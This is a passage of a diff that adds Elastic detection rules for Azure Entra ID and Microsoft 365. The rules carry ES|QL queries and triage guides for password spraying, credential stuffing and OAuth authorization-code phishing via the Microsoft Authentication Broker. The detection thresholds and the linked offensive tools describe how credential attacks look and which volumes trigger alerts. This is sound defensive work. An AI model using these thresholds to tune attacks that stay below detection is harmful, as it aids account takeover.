`device_detail_device_id`: Determine if a single device is spraying multiple accounts.\n- Check `conditional_access_status`: If \"notApplied\", determine whether conditional access is properly scoped.\n- Correlate `user_principal_name` with successful sign-ins: Investigate surrounding logs for lateral movement or privilege abuse.\n\n### False positive analysis\n\n- Developer automation (e.g., CI/CD logins) or mobile sync errors may create noisy but benign login failures.\n- Red team exercises or pentesting can resemble brute-force patterns.\n- Legacy protocols or misconfigured service principals may trigger repeated login failures from the same IP or session.\n\n### Response and remediation\n\n- Notify identity or security operations teams to investigate further.\n- Lock or reset affected user accounts if compromise is suspected.\n- Block the source IP(s) or ASN temporarily using conditional access or firewall rules.\n- Review tenant-wide MFA and conditional access enforcement.\n- Audit targeted accounts for password reuse across systems or tenants.\n- Enable lockout or throttling policies for repeated failed login attempts.\n", + "query": "from logs-azure.signinlogs-*\n\n| eval\n Esql.time_window_date_trunc = date_trunc(15 minutes, @timestamp),\n Esql_priv.azure_signinlogs_properties_user_principal_name_lower = to_lower(azure.signinlogs.properties.user_principal_name),\n Esql.azure_signinlogs_properties_incoming_token_type_lower = to_lower(azure.signinlogs.properties.incoming_token_type),\n Esql.azure_signinlogs_properties_app_display_name_lower = to_lower(azure.signinlogs.properties.app_display_name),\n Esql.user_agent_original = user_agent.original\n\n| where event.dataset == \"azure.signinlogs\"\n and event.category == \"authentication\"\n and azure.signinlogs.category in (\"NonInteractiveUserSignInLogs\", \"SignInLogs\")\n and azure.signinlogs.properties.resource_display_name rlike \"(.*)365|SharePoint|Exchange|Teams|Office(.*)\"\n and event.outcome == \"failure\"\n and azure.signinlogs.properties.status.error_code != 50053\n and azure.signinlogs.properties.status.error_code in (\n 50034, // UserAccountNotFound\n 50126, // InvalidUsernameOrPassword\n 50055, // PasswordExpired\n 50056, // InvalidPassword\n 50057, // UserDisabled\n 50064, // CredentialValidationFailure\n 50076, // MFARequiredButNotPassed\n 50079, // MFARegistrationRequired\n 50105, // EntitlementGrantsNotFound\n 70000, // InvalidGrant\n 70008, // ExpiredOrRevokedRefreshToken\n 70043, // BadTokenDueToSignInFrequency\n 80002, // OnPremisePasswordValidatorRequestTimedOut\n 80005, // OnPremisePasswordValidatorUnpredictableWebException\n 50144, // InvalidPasswordExpiredOnPremPassword\n 50135, // PasswordChangeCompromisedPassword\n 50142, // PasswordChangeRequiredConditionalAccess\n 120000, // PasswordChangeIncorrectCurrentPassword\n 120002, // PasswordChangeInvalidNewPasswordWeak\n 120020 // PasswordChangeFailure\n )\n and azure.signinlogs.properties.user_principal_name is not null\n and azure.signinlogs.properties.user_principal_name != \"\"\n and user_agent.original != \"Mozilla/5.0 (compatible; MSAL 1.0) PKeyAuth/1.0\"\n\n| stats\n Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement),\n Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id),\n Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name),\n Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id),\n Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name),\n Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status),\n Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser),\n Esql.azure_signinlogs_properties_device_detail_device_id_values = values(azure.signinlogs.properties.device_detail.device_id),\n Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system),\n Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type),\n Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state),\n Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id),\n Esql.azure_signinlogs_properties_user_id_values = values(azure.signinlogs.properties.user_id),\n Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name),\n Esql.azure_signinlogs_result_description_values = values(azure.signinlogs.result_description),\n Esql.azure_signinlogs_result_signature_values = values(azure.signinlogs.result_signature),\n Esql.azure_signinlogs_result_type_values = values(azure.signinlogs.result_type),\n\n Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct = count_distinct(Esql_priv.azure_signinlogs_properties_user_principal_name_lower),\n Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values = values(Esql_priv.azure_signinlogs_properties_user_principal_name_lower),\n Esql.azure_signinlogs_result_description_count_distinct = count_distinct(azure.signinlogs.result_description),\n Esql.azure_signinlogs_result_description_values = values(azure.signinlogs.result_description),\n Esql.azure_signinlogs_properties_status_error_code_count_distinct = count_distinct(azure.signinlogs.properties.status.error_code),\n Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code),\n Esql.azure_signinlogs_properties_incoming_token_type_lower_values = values(Esql.azure_signinlogs_properties_incoming_token_type_lower),\n Esql.azure_signinlogs_properties_app_display_name_lower_values = values(Esql.azure_signinlogs_properties_app_display_name_lower),\n Esql.source_ip_values = values(source.ip),\n Esql.source_ip_count_distinct = count_distinct(source.ip),\n Esql.source_as_organization_name_values = values(source.`as`.organization.name),\n Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name),\n Esql.source_geo_country_name_values = values(source.geo.country_name),\n Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name),\n Esql.@timestamp.min = min(@timestamp),\n Esql.@timestamp.max = max(@timestamp),\n Esql.event_count = count()\nby Esql.time_window_date_trunc\n\n| eval\n Esql.event_duration_seconds = date_diff(\"seconds\", Esql.@timestamp.min, Esql.@timestamp.max),\n Esql.event_bf_type = case(\n Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct >= 10\n and Esql.event_count >= 30\n and Esql.azure_signinlogs_result_description_count_distinct <= 3\n and Esql.source_ip_count_distinct >= 5\n and Esql.event_duration_seconds <= 600\n and Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct > Esql.source_ip_count_distinct,\n \"credential_stuffing\",\n\n Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct >= 15\n and Esql.azure_signinlogs_result_description_count_distinct == 1\n and Esql.event_count >= 15\n and Esql.event_duration_seconds <= 1800,\n \"password_spraying\",\n\n (Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct == 1\n and Esql.azure_signinlogs_result_description_count_distinct == 1\n and Esql.event_count >= 30\n and Esql.event_duration_seconds <= 300)\n or (Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct <= 3\n and Esql.source_ip_count_distinct > 30\n and Esql.event_count >= 100),\n \"password_guessing\",\n\n \"other\"\n )\n\n| where Esql.event_bf_type != \"other\"\n\n| keep\n Esql.time_window_date_trunc,\n Esql.event_bf_type,\n Esql.event_duration_seconds,\n Esql.event_count,\n Esql.@timestamp.min,\n Esql.@timestamp.max,\n Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct,\n Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values,\n Esql.azure_signinlogs_result_description_count_distinct,\n Esql.azure_signinlogs_result_description_values,\n Esql.azure_signinlogs_properties_status_error_code_count_distinct,\n Esql.azure_signinlogs_properties_status_error_code_values,\n Esql.azure_signinlogs_properties_incoming_token_type_lower_values,\n Esql.azure_signinlogs_properties_app_display_name_lower_values,\n Esql.source_ip_values,\n Esql.source_ip_count_distinct,\n Esql.source_as_organization_name_values,\n Esql.source_as_organization_name_count_distinct,\n Esql.source_geo_country_name_values,\n Esql.source_geo_country_name_count_distinct,\n Esql.azure_signinlogs_properties_authentication_requirement_values,\n Esql.azure_signinlogs_properties_app_id_values,\n Esql.azure_signinlogs_properties_app_display_name_values,\n Esql.azure_signinlogs_properties_resource_id_values,\n Esql.azure_signinlogs_properties_resource_display_name_values,\n Esql.azure_signinlogs_properties_conditional_access_status_values,\n Esql.azure_signinlogs_properties_device_detail_browser_values,\n Esql.azure_signinlogs_properties_device_detail_device_id_values,\n Esql.azure_signinlogs_properties_device_detail_operating_system_values,\n Esql.azure_signinlogs_properties_incoming_token_type_values,\n Esql.azure_signinlogs_properties_risk_state_values,\n Esql.azure_signinlogs_properties_session_id_values,\n Esql.azure_signinlogs_properties_user_id_values\n", + "references": [ + "https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying", + "https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray", + "https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties", + "https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/", + "https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes", + "https://github.com/0xZDH/Omnispray", + "https://github.com/0xZDH/o365spray" + ], + "related_integrations": [ + { + "package": "azure", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.@timestamp.max", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.@timestamp.min", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_display_name_lower_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_display_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_authentication_requirement_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_conditional_access_status_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_device_detail_browser_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_device_detail_device_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_device_detail_operating_system_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_incoming_token_type_lower_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_incoming_token_type_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_resource_display_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_resource_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_risk_state_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_session_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_status_error_code_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_status_error_code_values", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_user_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_result_description_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_result_description_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_bf_type", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_duration_seconds", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_geo_country_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_geo_country_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_ip_values", + "type": "ip" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": false, + "name": "Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "35ab3cfa-6c67-11ef-ab4d-f661ea17fbcc", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Domain: SaaS", + "Domain: Identity", + "Data Source: Azure", + "Data Source: Entra ID", + "Data Source: Entra ID Sign-in Logs", + "Use Case: Identity and Access Audit", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.001", + "name": "Password Guessing", + "reference": "https://attack.mitre.org/techniques/T1110/001/" + }, + { + "id": "T1110.003", + "name": "Password Spraying", + "reference": "https://attack.mitre.org/techniques/T1110/003/" + }, + { + "id": "T1110.004", + "name": "Credential Stuffing", + "reference": "https://attack.mitre.org/techniques/T1110/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 108 + }, + "id": "35ab3cfa-6c67-11ef-ab4d-f661ea17fbcc_108", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/36188365-f88f-4f70-8c1d-0b9554186b9c_5.json b/packages/security_detection_engine/kibana/security_rule/36188365-f88f-4f70-8c1d-0b9554186b9c_5.json new file mode 100644 index 00000000000..c9e932150be --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/36188365-f88f-4f70-8c1d-0b9554186b9c_5.json @@ -0,0 +1,144 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies sign-ins on behalf of a principal user to the Microsoft Graph API from multiple IPs using the Microsoft Authentication Broker or Visual Studio Code application. This behavior may indicate an adversary using a phished OAuth refresh token.", + "from": "now-60m", + "interval": "59m", + "language": "esql", + "license": "Elastic License v2", + "name": "Suspicious Microsoft 365 UserLoggedIn via OAuth Code", + "note": "## Triage and analysis\n\n### Investigating Suspicious Microsoft 365 UserLoggedIn via OAuth Code\n\n### Possible Investigation Steps:\n\n- `o365.audit.UserId`: The identity value the application is acting on behalf of principal user.\n- `unique_ips`: Analyze the list of unique IP addresses used within the 30-minute window. Determine whether these originate from different geographic regions, cloud providers, or anonymizing infrastructure (e.g., Tor or VPNs).\n- `target_time_window`: Use the truncated time window to pivot into raw events to reconstruct the full sequence of resource access events, including exact timestamps and service targets.\n- `azure.auditlogs` to check for device join or registration events around the same timeframe.\n- `azure.identityprotection` to identify correlated risk detections, such as anonymized IP access or token replay.\n- Any additional sign-ins from the `ips` involved, even outside the broker, to determine if tokens have been reused elsewhere.\n\n### False Positive Analysis\n\n- Developers or IT administrators working across environments may also produce similar behavior.\n\n### Response and Remediation\n\n- If confirmed unauthorized, revoke all refresh tokens for the affected user and remove any devices registered during this session.\n- Notify the user and determine whether the device join or authentication activity was expected.\n- Audit Conditional Access and broker permissions (`29d9ed98-a469-4536-ade2-f981bc1d605e`) to ensure policies enforce strict access controls.\n- Consider blocking token-based reauthentication to Microsoft Graph and DRS from suspicious locations or user agents.\n- Continue monitoring for follow-on activity like lateral movement or privilege escalation.\n", + "query": "from logs-o365.audit-*\n| where\n event.dataset == \"o365.audit\" and\n event.action == \"UserLoggedIn\" and\n source.ip is not null and\n o365.audit.UserId is not null and\n o365.audit.ApplicationId is not null and\n o365.audit.UserType in (\"0\", \"2\", \"3\", \"10\") and\n o365.audit.ApplicationId in (\"aebc6443-996d-45c2-90f0-388ff96faa56\", \"29d9ed98-a469-4536-ade2-f981bc1d605e\") and\n o365.audit.ObjectId in (\"00000003-0000-0000-c000-000000000000\")\n| eval\n Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp),\n Esql.oauth_authorize_user_id_case = case(\n o365.audit.ExtendedProperties.RequestType == \"OAuth2:Authorize\" and o365.audit.ExtendedProperties.ResultStatusDetail == \"Redirect\",\n o365.audit.UserId,\n null\n ),\n Esql.oauth_token_user_id_case = case(\n o365.audit.ExtendedProperties.RequestType == \"OAuth2:Token\",\n o365.audit.UserId,\n null\n )\n| stats\n Esql.source_ip_count_distinct = count_distinct(source.ip),\n Esql.source_ip_values = values(source.ip),\n Esql.o365_audit_ApplicationId_values = values(o365.audit.ApplicationId),\n Esql.source_as_organization_name_values = values(source.`as`.organization.name),\n Esql.oauth_token_count_distinct = count_distinct(Esql.oauth_token_user_id_case),\n Esql.oauth_authorize_count_distinct = count_distinct(Esql.oauth_authorize_user_id_case)\n by\n o365.audit.UserId,\n Esql.time_window_date_trunc,\n o365.audit.ApplicationId,\n o365.audit.ObjectId\n| keep\n Esql.time_window_date_trunc,\n Esql.source_ip_values,\n Esql.source_ip_count_distinct,\n Esql.o365_audit_ApplicationId_values,\n Esql.source_as_organization_name_values,\n Esql.oauth_token_count_distinct,\n Esql.oauth_authorize_count_distinct\n| where\n Esql.source_ip_count_distinct >= 2 and\n Esql.oauth_token_count_distinct > 0 and\n Esql.oauth_authorize_count_distinct > 0\n", + "references": [ + "https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/", + "https://github.com/dirkjanm/ROADtools", + "https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/" + ], + "related_integrations": [ + { + "package": "o365", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.o365_audit_ApplicationId_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.oauth_authorize_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.oauth_token_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_ip_values", + "type": "ip" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + } + ], + "risk_score": 73, + "rule_id": "36188365-f88f-4f70-8c1d-0b9554186b9c", + "setup": "## Setup\n\nThe Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.\n", + "severity": "high", + "tags": [ + "Domain: Cloud", + "Domain: Email", + "Domain: Identity", + "Data Source: Microsoft 365", + "Data Source: Microsoft 365 Audit Logs", + "Use Case: Identity and Access Audit", + "Use Case: Threat Detection", + "Resources: Investigation Guide", + "Tactic: Defense Evasion" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1550", + "name": "Use Alternate Authentication Material", + "reference": "https://attack.mitre.org/techniques/T1550/", + "subtechnique": [ + { + "id": "T1550.001", + "name": "Application Access Token", + "reference": "https://attack.mitre.org/techniques/T1550/001/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1528", + "name": "Steal Application Access Token", + "reference": "https://attack.mitre.org/techniques/T1528/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0001", + "name": "Initial Access", + "reference": "https://attack.mitre.org/tactics/TA0001/" + }, + "technique": [ + { + "id": "T1566", + "name": "Phishing", + "reference": "https://attack.mitre.org/techniques/T1566/", + "subtechnique": [ + { + "id": "T1566.002", + "name": "Spearphishing Link", + "reference": "https://attack.mitre.org/techniques/T1566/002/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 5 + }, + "id": "36188365-f88f-4f70-8c1d-0b9554186b9c_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/375132c6-25d5-11f0-8745-f661ea17fbcd_5.json b/packages/security_detection_engine/kibana/security_rule/375132c6-25d5-11f0-8745-f661ea17fbcd_5.json new file mode 100644 index 00000000000..7463fb8e233 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/375132c6-25d5-11f0-8745-f661ea17fbcd_5.json @@ -0,0 +1,257 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies separate OAuth authorization flows in Microsoft Entra ID where the same user principal and session ID are observed across multiple IP addresses within a 5-minute window. These flows involve the Microsoft Authentication Broker (MAB) as the client application and the Device Registration Service (DRS) as the target resource. This pattern is highly indicative of OAuth phishing activity, where an adversary crafts a legitimate Microsoft login URL to trick a user into completing authentication and sharing the resulting authorization code, which is then exchanged for an access and refresh token by the attacker.", + "false_positives": [ + "Legitimate device registrations using Microsoft Authentication Broker may occur during corporate enrollment scenarios or bulk provisioning, but it is uncommon for multiple source IPs to register the same identity across Microsoft Graph, Device Registration Service (DRS), and Azure Active Directory (AAD) in a short time span." + ], + "from": "now-61m", + "interval": "60m", + "language": "esql", + "license": "Elastic License v2", + "name": "Suspicious Microsoft OAuth Flow via Auth Broker to DRS", + "note": "## Triage and analysis\n\n### Investigating Suspicious Microsoft OAuth Flow via Auth Broker to DRS\n\nThis rule identifies potential OAuth phishing behavior in Microsoft Entra ID where two OAuth authorization flows are observed in quick succession, sharing the same user principal and session ID but originating from different IP addresses. The client application is the Microsoft Authentication Broker, and the target resource is the Device Registration Service (DRS). This pattern is indicative of adversaries attempting to phish targets for OAuth sessions by tricking users into authenticating through a crafted URL, which then allows the attacker to obtain an authorization code and exchange it for access and refresh tokens.\n\n### Possible Investigation Steps:\n\n- `target`: The user principal name targeted by the authentication broker. Investigate whether this user has recently registered a device, signed in from new IPs, or had password resets or MFA changes.\n- `session_id`: Used to correlate all events in the OAuth flow. All sign-ins in the alert share the same session, suggesting shared or hijacked state.\n- `unique_token_id`: Lists tokens generated in the flow. If multiple IDs exist in the same session, this indicates token issuance from different locations.\n- `source_ip`, `city_name`, `country_name`, `region_name`: Review the IPs and geolocations involved. A mismatch in geographic origin within minutes can signal adversary involvement.\n- `user_agent`: Conflicting user agents (e.g., `python-requests` and `Chrome`) suggest one leg of the session was scripted or automated.\n- `os`: If multiple operating systems are observed in the same short session (e.g., macOS and Windows), this may suggest activity from different environments.\n- `incoming_token_type`: Look for values like `\"none\"` or `\"refreshToken\"` that can indicate abnormal or re-authenticated activity.\n- `token_session_status`: A value of `\"unbound\"` means the issued token is not tied to a device or CAE session, making it reusable from another IP.\n- `conditional_access_status`: If this is `\"notApplied\"`, it may indicate that expected access policies were not enforced.\n- `auth_count`: Number of events in the session. More than one indicates the session was reused within the time window.\n- `target_time_window`: Use this to pivot into raw sign-in logs to review the exact sequence and timing of the activity.\n- Search `azure.auditlogs` for any device join or registration activity around the `target_time_window`.\n- Review `azure.identityprotection` logs for anonymized IPs, impossible travel, or token replay alerts.\n- Search for other activity from the same IPs across all users to identify horizontal movement.\n\n### False Positive Analysis\n\n- A legitimate device join from a user switching networks (e.g., mobile hotspot to Wi-Fi) could explain multi-IP usage.\n- Some identity management agents or EDR tools may use MAB for background device registration flows.\n- Developers or IT administrators may access DRS across environments when testing.\n\n### Response and Remediation\n\n- If confirmed unauthorized, revoke all refresh tokens for the user and disable any suspicious registered devices.\n- Notify the user and verify if the authentication or device join was expected.\n- Review Conditional Access policies for the Microsoft Authentication Broker (`29d9ed98-a469-4536-ade2-f981bc1d605e`) to ensure enforcement of MFA and device trust.\n- Consider restricting token-based reauthentication from anonymized infrastructure or unusual user agents.\n- Continue monitoring for follow-on activity, such as privilege escalation, token misuse, or lateral movement.\n", + "query": "from logs-azure.signinlogs-* metadata _id, _version, _index\n| where\n event.dataset == \"azure.signinlogs\" and\n event.outcome == \"success\" and\n azure.signinlogs.properties.user_type == \"Member\" and\n azure.signinlogs.identity is not null and\n azure.signinlogs.properties.user_principal_name is not null and\n source.address is not null and\n azure.signinlogs.properties.app_id == \"29d9ed98-a469-4536-ade2-f981bc1d605e\" and // MAB\n azure.signinlogs.properties.resource_id == \"01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9\" // DRS\n\n| eval\n Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp),\n Esql.azure_signinlogs_properties_session_id = azure.signinlogs.properties.session_id,\n Esql.is_browser_case = case(\n to_lower(azure.signinlogs.properties.device_detail.browser) rlike \"(chrome|firefox|edge|safari).*\", 1, 0\n )\n\n| stats\n Esql_priv.azure_signinlogs_properties_user_display_name_values = values(azure.signinlogs.properties.user_display_name),\n Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name),\n Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id),\n Esql.azure_signinlogs_properties_unique_token_identifier_values = values(azure.signinlogs.properties.unique_token_identifier),\n\n Esql.source_geo_city_name_values = values(source.geo.city_name),\n Esql.source_geo_country_name_values = values(source.geo.country_name),\n Esql.source_geo_region_name_values = values(source.geo.region_name),\n Esql.source_address_values = values(source.address),\n Esql.source_address_count_distinct = count_distinct(source.address),\n Esql.source_as_organization_name_values = values(source.`as`.organization.name),\n\n Esql.azure_signinlogs_properties_authentication_protocol_values = values(azure.signinlogs.properties.authentication_protocol),\n Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement),\n Esql.azure_signinlogs_properties_is_interactive_values = values(azure.signinlogs.properties.is_interactive),\n\n Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type),\n Esql.azure_signinlogs_properties_token_protection_status_details_sign_in_session_status_values = values(azure.signinlogs.properties.token_protection_status_details.sign_in_session_status),\n Esql.azure_signinlogs_properties_session_id_count_distinct = count_distinct(azure.signinlogs.properties.session_id),\n Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name),\n Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id),\n Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id),\n Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name),\n\n Esql.azure_signinlogs_properties_app_owner_tenant_id_values = values(azure.signinlogs.properties.app_owner_tenant_id),\n Esql.azure_signinlogs_properties_resource_owner_tenant_id_values = values(azure.signinlogs.properties.resource_owner_tenant_id),\n\n Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status),\n Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state),\n Esql.azure_signinlogs_properties_risk_level_aggregated_values = values(azure.signinlogs.properties.risk_level_aggregated),\n\n Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser),\n Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system),\n Esql.user_agent_original_values = values(user_agent.original),\n Esql.is_browser_case_max = max(Esql.is_browser_case),\n\n Esql.event_count = count(*)\n by\n Esql.time_window_date_trunc,\n azure.signinlogs.properties.user_principal_name,\n azure.signinlogs.properties.session_id\n\n| keep\n Esql.time_window_date_trunc,\n Esql_priv.azure_signinlogs_properties_user_display_name_values,\n Esql_priv.azure_signinlogs_properties_user_principal_name_values,\n Esql.azure_signinlogs_properties_session_id_values,\n Esql.azure_signinlogs_properties_unique_token_identifier_values,\n Esql.source_geo_city_name_values,\n Esql.source_geo_country_name_values,\n Esql.source_geo_region_name_values,\n Esql.source_address_values,\n Esql.source_address_count_distinct,\n Esql.source_as_organization_name_values,\n Esql.azure_signinlogs_properties_authentication_protocol_values,\n Esql.azure_signinlogs_properties_authentication_requirement_values,\n Esql.azure_signinlogs_properties_is_interactive_values,\n Esql.azure_signinlogs_properties_incoming_token_type_values,\n Esql.azure_signinlogs_properties_token_protection_status_details_sign_in_session_status_values,\n Esql.azure_signinlogs_properties_session_id_count_distinct,\n Esql.azure_signinlogs_properties_app_display_name_values,\n Esql.azure_signinlogs_properties_app_id_values,\n Esql.azure_signinlogs_properties_resource_id_values,\n Esql.azure_signinlogs_properties_resource_display_name_values,\n Esql.azure_signinlogs_properties_app_owner_tenant_id_values,\n Esql.azure_signinlogs_properties_resource_owner_tenant_id_values,\n Esql.azure_signinlogs_properties_conditional_access_status_values,\n Esql.azure_signinlogs_properties_risk_state_values,\n Esql.azure_signinlogs_properties_risk_level_aggregated_values,\n Esql.azure_signinlogs_properties_device_detail_browser_values,\n Esql.azure_signinlogs_properties_device_detail_operating_system_values,\n Esql.user_agent_original_values,\n Esql.is_browser_case_max,\n Esql.event_count\n\n| where\n Esql.source_address_count_distinct >= 2 and\n Esql.azure_signinlogs_properties_session_id_count_distinct == 1 and\n Esql.is_browser_case_max >= 1 and\n Esql.event_count >= 2\n", + "references": [ + "https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/", + "https://github.com/dirkjanm/ROADtools", + "https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/" + ], + "related_integrations": [ + { + "package": "azure", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_display_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_owner_tenant_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_authentication_protocol_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_authentication_requirement_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_conditional_access_status_values", + "type": "keyword" + }, + { + "ecs": false, + "name": 